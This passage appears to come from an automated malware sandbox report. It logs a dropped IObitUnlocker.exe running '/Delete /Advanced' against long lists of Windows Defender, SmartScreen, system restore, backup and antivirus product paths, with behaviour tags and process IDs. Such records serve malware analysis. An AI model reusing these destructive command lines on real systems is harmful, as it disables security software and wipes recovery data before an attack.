(x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:964
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:5668
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:2220
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot 